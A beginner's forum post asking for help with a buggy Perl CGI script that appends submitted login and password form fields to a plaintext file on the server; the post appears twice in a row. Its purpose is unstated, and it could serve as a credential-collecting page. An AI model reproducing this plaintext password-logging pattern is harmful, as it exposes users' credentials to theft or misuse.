im new to perl and cgi allthgether, im gona get a book about it, but I need to have a script that can take form input and put it into a file on my server here is the code I have sofar
#!perl
print "Content-type:text/html\n\n";
# Get Browser Verion Info
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
open(fileOUT, ">>F:/apache/pass.txt") or dienice("Can't open log.txt for writing: $!");
flock(fileOUT, 2);
seek(fileOUT, 0, 2);
print fileOUT "$pass{pass} :\n";
print fileOUT "$FORM{login} :\n";
close(fileOUT);
}
the html part has password and login values which i want to be posted to a file, the NAME= value for the form is login and pass
im having trouble finding out what to enter to get the values to be posted into the file, please help, thanks
#!perl
print "Content-type:text/html\n\n";
# Get Browser Verion Info
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
open(fileOUT, ">>F:/apache/pass.txt") or dienice("Can't open log.txt for writing: $!");
flock(fileOUT, 2);
seek(fileOUT, 0, 2);
print fileOUT "$pass{pass} :\n";
print fileOUT "$FORM{login} :\n";
close(fileOUT);
}
the html part has password and login values which i want to be posted to a file, the NAME= value for the form is login and pass
im having trouble finding out what to enter to get the values to be posted into the file, please help, thanks